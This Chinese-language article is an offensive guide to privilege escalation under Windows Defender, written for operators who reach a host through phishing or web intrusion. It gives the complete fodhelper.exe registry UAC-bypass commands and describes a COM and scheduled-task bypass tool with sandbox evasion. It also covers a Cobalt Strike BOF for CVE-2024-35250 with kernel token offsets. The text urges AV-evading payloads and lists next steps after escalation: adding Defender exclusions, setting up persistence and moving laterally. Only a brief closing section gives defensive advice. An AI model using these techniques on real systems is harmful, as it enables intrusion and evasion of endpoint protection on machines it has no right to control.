当前Defender防护下三种提权思路
字数 1398 2025-08-29 08:30:30
Windows Defender防护下的三种提权思路详解
0x01 前言
本文详细分析在Windows Defender防护环境下三种有效的提权方法,适用于不同场景下的权限提升需求。这些方法虽然基于传统技术,但在操作细节上进行了优化以绕过现代安全防护。
0x02 钓鱼场景下的提权方案
场景分析
- 钓鱼成功后通常获得管理员组用户权限但未通过UAC
whoami /priv显示缺少SeImpersonatePrivilege权限- 传统土豆家族提权工具(Juicy Potato/God Potato)无法使用
- 漏洞提权受限于特定Windows版本和补丁状态
方案一:COM组件+计划任务绕过UAC
原理
利用具有自动提升UAC权限能力的COM组件,通过计划任务启动该组件实现权限提升。
工具使用
项目地址:[需自行补充]
编译时建议添加简单反沙箱检测
使用方法:
bypassUAC.exe kc "your_command"
- 第二个参数
kc用于简单绕过沙箱(可修改源码调整) - 第三个参数为要执行的命令
C2操作示例:
- 上传bypassUAC.exe
- 执行:
bypassUAC.exe kc "your_payload"
分离加载场景:
创建run.bat脚本:
xxx.exe shellcode.bin
将第三个参数改为执行该bat脚本
方案二:注册表键值bypass UAC
原理
利用fodhelper.exe的autoElevate属性:
- fodhelper.exe执行时会读取注册表
HKCU:\Software\Classes\ms-settings\Shell\Open\command的内容作为命令执行 - 通过修改该注册表项实现权限提升
操作步骤
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d ""
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "your_payload"
fodhelper.exe
关键注意事项:
- 必须使用免杀payload,否则Defender会拦截并显示"bypassUAC行为"警告
- 用户必须在管理员组中,否则会弹出密码输入框
方案三:CVE-2024-35250 BOF加载
适用场景
- 主要适用于Web打点进入Windows Server服务器的情况
- 对Windows 10支持有限(最高19042版本)
- 在Server 2012/2016上效果较好
使用方法
- 在Cobalt Strike中加载提供的cna文件
- 无文件落地执行BOF实现免杀
- 命令参数中填入payload获取绕过UAC的shell
版本支持
作者提供了4个不同系统偏移(EPROCESS_TOKEN_OFFSET)的.o文件:
#define EPROCESS_TOKEN_OFFSET_WIN7 0x208
#define EPROCESS_TOKEN_OFFSET_WIN10_1803 0x358
#define EPROCESS_TOKEN_OFFSET_WIN10_1903 0x360
#define EPROCESS_TOKEN_OFFSET_WIN11_21H2 0x448
补丁检查
执行前需检查目标系统是否安装了相关补丁:
systeminfo | findstr KB5029244
各版本漏洞补丁:
[需根据原文补充具体补丁号]
0x03 方案对比与选择建议
| 方案 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| COM+计划任务 | 钓鱼场景,用户在管理员组 | 稳定可靠,全版本支持 | 需要上传文件 |
| 注册表bypass | 钓鱼场景,用户在管理员组 | 使用系统自带工具 | 依赖免杀payload |
| CVE-2024-35250 | Web打点进入Server | 无文件落地 | 版本限制大,需未打补丁 |
0x04 后续操作建议
成功提权后:
- 添加Defender白名单
- 建立持久化机制
- 开始内网横向移动
0x05 防御建议
- 限制普通用户的管理员权限
- 及时安装系统补丁
- 监控注册表关键位置修改
- 加强端点防护的UAC绕过检测能力